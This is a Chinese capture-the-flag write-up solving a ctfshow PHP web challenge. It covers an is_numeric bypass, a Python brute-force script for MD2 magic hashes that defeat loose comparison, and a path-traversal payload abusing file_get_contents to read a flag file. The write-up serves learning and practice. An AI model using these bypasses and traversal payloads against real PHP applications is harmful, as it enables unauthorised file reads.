web2_故人心 10
打开链接,给出了源码
<?php error_reporting(0); highlight_file(__FILE__); $a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; $url[1]=$_POST['url']; if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){ $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c))); if($d){ highlight_file('hint.php'); if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }else{ echo '差点点就成功了!'; } }else{ echo 'please give me url!!!'; } }else{ echo '想一想md5碰撞原理吧?!'; } }else{ echo '第一个都过不了还想要flag呀?!'; } 第一个都过不了还想要flag呀?!
is_numeric() 函数用于检测变量是否为数字或数字字符串。
第一层绕过
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
传入的a想要被绕过,必须保证a是数字或数字字符串,并且a不能等于0,a的平方等于0
根据大佬说,php小数点后超过161位做平方运算时会被截断。所以可以用科学计数法,
但是我自己测试时遇到一个小问题
就是构造出来的值不能绕过字符串长度检测
这里输出的b的值是7位,难道get传入时是6位吗?
总之能绕过,然后就是第二层
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
根据提示查看robots.txt,然后根据提示查看hinthint.txt
还好有提示,不然这第二层得跑多长时间呀。
这里的意思就是b值进行md2加密后还要和b原值相等,c值md2加密后再次md2加密,结果依然要和c的原值相等
但是这里给了出了b值和c值后几位数字,那么久可以直接爆破了
这里直接附上大佬的脚本
from Crypto.Hash import MD2 for v1 in "0123456789": for v2 in "0123456789": for v3 in "0123456789": v = "0e" + v1 + v2 + v3 + "024452" obj = MD2.new() obj.update(v.encode("utf-8")) n1 = obj.hexdigest() if n1[0:2] == "0e" and n1[2:11].isdigit(): print("第一个是:"+v) for v1 in "0123456789": for v2 in "0123456789": for v3 in "0123456789": for v4 in "0123456789": v = "0e" + v1 + v2 + v3 + v4 + "48399" obj = MD2.new() obj.update(v.encode("utf-8")) n1 = obj.hexdigest() obj = MD2.new() obj.update(n1.encode("utf-8")) n2 = obj.hexdigest() if n2[0:2] == "0e" and n2[2:11].isdigit(): print("第二个是:"+v)
得到结果
第一个是:0e652024452
第二个是:0e165048399
第二个是:0e603448399
第三层绕过
file_get_contents() 函数把整个文件读入一个字符串中。
已经提示了flag在fl0g.txt,所以肯定是要file_get_contents去读的。这里考察了file_get_contents函数的一个小trick:
当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件
构造palyload:
url=httpp://ctfshow.com/../../../../../../../../fl0g.txt
得到flag